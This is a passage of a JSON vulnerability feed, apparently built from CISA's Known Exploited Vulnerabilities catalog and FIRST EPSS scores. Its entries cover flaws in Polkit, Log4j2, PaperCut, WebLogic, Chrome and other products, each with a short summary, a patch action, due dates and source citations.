score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-8735&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-8735, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-3560","cveId":"CVE-2021-3560","aliases":[],"kind":"vulnerability","title":"Red Hat Polkit Incorrect Authorization Vulnerability","summary":"Red Hat Polkit contains an incorrect authorization vulnerability through the bypassing of credential checks for D-Bus requests, allowing for privilege escalation.","detail":"CISA added this entry on 2023-05-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-05-12","updatedAt":null,"regions":["Global"],"vendor":"Red Hat","product":"Polkit","stacks":["Red Hat Enterprise Linux","Red Hat","Polkit"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-05-12","dueAt":"2023-06-02","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.23708,"percentile":0.97804,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-3560&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-3560","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-05-12","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-3560 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-3560&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-3560, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-25717","cveId":"CVE-2023-25717","aliases":[],"kind":"vulnerability","title":"Ruckus Wireless Multiple Products: Multiple Ruckus Wireless Products CSRF and RCE Vulnerability","summary":"Ruckus Wireless Access Point (AP) software contains an unspecified vulnerability in the web services component. If the web services component is enabled on the AP, an attacker can perform cross-site request forgery (CSRF) or remote code execution (RCE). This vulnerability impacts Ruckus ZoneDirector, SmartZone, and Solo APs.","detail":"CISA added this entry on 2023-05-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions or disconnect product if it is end-of-life.","publishedAt":"2023-05-12","updatedAt":null,"regions":["Global"],"vendor":"Ruckus Wireless","product":"Multiple Products","stacks":["Ruckus Wireless","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-05-12","dueAt":"2023-06-02","action":"Apply updates per vendor instructions or disconnect product if it is end-of-life.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98069,"percentile":0.9991,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-25717&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-25717","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-05-12","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-25717 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-25717&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-25717, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-29336","cveId":"CVE-2023-29336","aliases":[],"kind":"vulnerability","title":"Microsoft Win32K Privilege Escalation Vulnerability","summary":"Microsoft Win32k contains an unspecified vulnerability that allows for privilege escalation up to SYSTEM privileges.","detail":"CISA added this entry on 2023-05-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-05-09","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Win32k","stacks":["Microsoft Windows","Microsoft","Win32k"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-05-09","dueAt":"2023-05-30","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.41185,"percentile":0.98656,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-29336&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-29336","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-05-09","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-29336 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-29336&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-29336, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-45046","cveId":"CVE-2021-45046","aliases":[],"kind":"vulnerability","title":"Apache Log4j2 Deserialization of Untrusted Data Vulnerability","summary":"Apache Log4j2 contains a deserialization of untrusted data vulnerability due to the incomplete fix of CVE-2021-44228, where the Thread Context Lookup Pattern is vulnerable to remote code execution in certain non-default configurations.","detail":"CISA added this entry on 2023-05-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-05-01","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"Log4j2","stacks":["Apache","Log4j2"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-05-01","dueAt":"2023-05-22","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99977,"percentile":0.9998,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-45046&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-45046","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-05-01","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-45046 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-45046&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-45046, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-1389","cveId":"CVE-2023-1389","aliases":[],"kind":"vulnerability","title":"TP-Link Archer AX-21 Command Injection Vulnerability","summary":"TP-Link Archer AX-21 contains a command injection vulnerability that allows for remote code execution.","detail":"CISA added this entry on 2023-05-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-05-01","updatedAt":null,"regions":["Global"],"vendor":"TP-Link","product":"Archer AX21","stacks":["TP-Link","Archer AX21"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-05-01","dueAt":"2023-05-22","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99999,"percentile":0.99992,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-1389&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-1389","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-05-01","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-1389 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-1389&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-1389, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-21839","cveId":"CVE-2023-21839","aliases":[],"kind":"vulnerability","title":"Oracle WebLogic Server Unspecified Vulnerability","summary":"Oracle WebLogic Server contains an unspecified vulnerability that allows an unauthenticated attacker with network access via T3, IIOP, to compromise Oracle WebLogic Server.","detail":"CISA added this entry on 2023-05-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-05-01","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"WebLogic Server","stacks":["Oracle","WebLogic Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-05-01","dueAt":"2023-05-22","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.999,"percentile":0.99966,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-21839&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-21839","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-05-01","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-21839 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-21839&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-21839, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-2136","cveId":"CVE-2023-2136","aliases":[],"kind":"vulnerability","title":"Google Chrome Skia Integer Overflow Vulnerability","summary":"Google Chromium Skia contains an integer overflow vulnerability that allows a remote attacker, who has compromised the renderer process, to potentially perform a sandbox escape via a crafted HTML page. This vulnerability affects Google Chrome and ChromeOS, Android, Flutter, and possibly other products.","detail":"CISA added this entry on 2023-04-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-04-21","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium Skia","stacks":["Google Chrome","Google","Chromium Skia"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-04-21","dueAt":"2023-05-12","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.05739,"percentile":0.93002,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-2136&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-2136","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-04-21","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-2136 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-2136&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-2136, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-27350","cveId":"CVE-2023-27350","aliases":[],"kind":"vulnerability","title":"PaperCut MF/NG Improper Access Control Vulnerability","summary":"PaperCut MF/NG contains an improper access control vulnerability within the SetupCompleted class that allows authentication bypass and code execution in the context of system.","detail":"CISA added this entry on 2023-04-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-04-21","updatedAt":null,"regions":["Global"],"vendor":"PaperCut","product":"MF/NG","stacks":["PaperCut","MF/NG"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-04-21","dueAt":"2023-05-12","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99999,"percentile":0.99995,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-27350&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-27350","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-04-21","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-27350 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-27350&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-27350, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-28432","cveId":"CVE-2023-28432","aliases":[],"kind":"vulnerability","title":"MinIO Information Disclosure Vulnerability","summary":"MinIO contains a vulnerability in a cluster deployment where MinIO returns all environment variables, which allows for information disclosure.","detail":"CISA added this entry on 2023-04-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-04-21","updatedAt":null,"regions":["Global"],"vendor":"MinIO","product":"MinIO","stacks":["MinIO"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-04-21","dueAt":"2023-05-12","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.83957,"percentile":0.9969,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-28432&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-28432","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-04-21","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-28432 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-28432&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-28432, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-6742","cveId":"CVE-2017-6742","aliases":[],"kind":"vulnerability","title":"Cisco IOS and IOS XE Software SNMP Remote Code Execution Vulnerability","summary":"The Simple Network Management Protocol (SNMP) subsystem of Cisco IOS and IOS XE contains a vulnerability that could allow an authenticated, remote attacker to remotely execute code on an affected system or cause an affected system to reload.","detail":"CISA added this entry on 2023-04-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-04-19","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS and IOS XE Software","stacks":["Cisco","IOS and IOS XE Software"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-04-19","dueAt":"2023-05-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.21424,"percentile":0.97592,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-6742&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-6742","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-04-19","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-6742 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-6742&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-6742, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-8526","cveId":"CVE-2019-8526","aliases":[],"kind":"vulnerability","title":"Apple macOS Use-After-Free Vulnerability","summary":"Apple macOS contains a use-after-free vulnerability that could allow for privilege escalation.","detail":"CISA added this entry on 2023-04-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-04-17","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"macOS","stacks":["Apple macOS","Apple","macOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-04-17","dueAt":"2023-05-08","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.00701,"percentile":0.52951,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-8526&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-8526","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-04-17","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-8526 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-8526&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-8526, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-2033","cveId":"CVE-2023-2033","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Type Confusion Vulnerability","summary":"Google Chromium V8 Engine contains a type confusion vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2023-04-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-04-17","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-04-17","dueAt":"2023-05-08","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.40798,"percentile":0.98644,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-2033&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-2033","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-04-17","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-2033 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-2033&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-2033, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-20963","cveId":"CVE-2023-20963","aliases":[],"kind":"vulnerability","title":"Android Framework Privilege Escalation Vulnerability","summary":"Android Framework contains an unspecified vulnerability that allows for privilege escalation after updating an app to a higher Target SDK with no additional execution privileges needed.","detail":"CISA added this entry on 2023-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-04-13","updatedAt":null,"regions":["Global"],"vendor":"Android","product":"Framework","stacks":["Android","Framework"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-04-13","dueAt":"2023-05-04","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01465,"percentile":0.73482,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-20963&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-20963","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-04-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-20963 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-20963&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-20963, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-29492","cveId":"CVE-2023-29492","aliases":[],"kind":"vulnerability","title":"Novi Survey Insecure Deserialization Vulnerability","summary":"Novi Survey contains an insecure deserialization vulnerability that allows remote attackers to execute code on the server in the context of the service account.","detail":"CISA added this entry on 2023-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-04-13","updatedAt":null,"regions":["Global"],"vendor":"Novi Survey","product":"Novi Survey","stacks":["Novi Survey"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-04-13","dueAt":"2023-05-04","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.0269,"percentile":0.85766,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-29492&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-29492","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-04-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-29492 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-29492&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-29492, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-28252","cveId":"CVE-2023-28252","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Common Log File System (CLFS) Driver Privilege Escalation Vulnerability","summary":"Microsoft Windows Common Log File System (CLFS) driver contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2023-04-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-04-11","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-04-11","dueAt":"2023-05-02","action":"Apply updates per vendor 